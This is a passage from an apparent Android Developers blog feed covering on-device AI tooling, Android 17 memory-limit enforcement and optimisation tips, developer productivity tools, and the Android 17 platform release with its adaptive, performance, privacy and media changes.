Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs:

Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features.

Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.

For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.

3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk:

Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build!

Prioritizing Memory Efficiency: Essential Steps for Android 17

Sat, 25 Jul 2026 10:15:41 +0200

Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement.

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution.

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

Set isShrinkResources = true and isMinifyEnabled = true.
Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase
Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

Open the Profiler tab in Android Studio
Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.

Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

Retaining references to Fragments, Activities, or Views that are no longer in use.
Mismanaging Context references.
Failing to properly unregister observers, listeners, and receivers.
Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario	Compose-based example	View-based example
Leaking Context	Example: Passing LocalContext.current to a ViewModel Fix: Keep `Context` dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.	Example: Storing an `Activity` in a companion object or static variable. Fix: Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.
Leaking Listeners	Example: Using `DisposableEffect` to start a listener but leaving `onDispose` empty. Fix: Perform the unregistration and cleanup logic inside the `onDispose` block.	Example: Registering for SensorManager updates and forgetting to unregister. Fix: Manually call `unregisterListener()` in `onStop()` or `onDestroy()` lifecycle.
Leaking Views	Example: Holding a reference to a legacy `View` inside an `AndroidView` without a release strategy. Fix: Use the `release` block of the `AndroidView` composable to clean up the legacy `View`.	Example: Keeping a reference to a view binding object after the `Fragment` is destroyed. Fix: Set the binding variable to `null` inside the `onDestroyView`() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Top 3 updates for Android developer productivity

Sat, 25 Jul 2026 10:15:38 +0200

Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.

To help you stay up to date, here is a summary of the top 3 announcements for Android Developer Productivity at I/O.

1. Android CLI is now stable

Android CLI is now stable at version 1.0, with more capabilities and integrations.

The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to integrate directly with Android Studio, via the studio command.

Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to Android Studio’s unique tooling, such as performance profilers, Compose Previews, and Android Device Streaming.

Android CLI now integrates seamlessly with Android Studio

Additionally, Google Antigravity now officially supports Android development, with the Android resources bundle, which includes the Android CLI and skills.

You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.

Google Antigravity now offers the Android resources bundle

Android CLI is now available through more package managers: like npm and homebrew. For more information, check out the Android CLI blog post and official documentation.

2. Android skills keep growing

To help models gain expertise for specific development patterns that follow our best practices, we are continuing to expand our repository of Android skills, available through Android CLI and GitHub.

Android skills ground LLMs in specialized workflows and domain knowledge, for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh new batch of skills, with now more than 17 skills for areas such as:

Adaptive UI
Display Glasses and Jetpack Compose Glimmer for XR
Migration to CameraX
Perfetto SQL and Trace Analysis
Jetpack Compose Styles API
AppFunctions
Verified email retrieval with Android Credential Manager
Engage SDK integration
Testing setup
Wear OS Jetpack Compose Material3

Android skills keep growing

You can browse skills and install using the Android CLI commands:

android skills list
android skills add –skill=

For more information, check out the official documentation.

3. Android Bench adds new models

Earlier this year, we launched Android Bench - our leaderboard for testing LLMs on real-world Android development challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.

Latest results from Android Bench leaderboard

You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model Gemma 4, to the leaderboard. We also added the latest models including Gemini 3.5 Flash.

We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the Android Bench leaderboard to see the latest results.

Android development anywhere

By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re supporting Android developers wherever they choose to build.

Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.

Check out the full Developer productivity at Google I/O 2026 YouTube playlist for more information.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
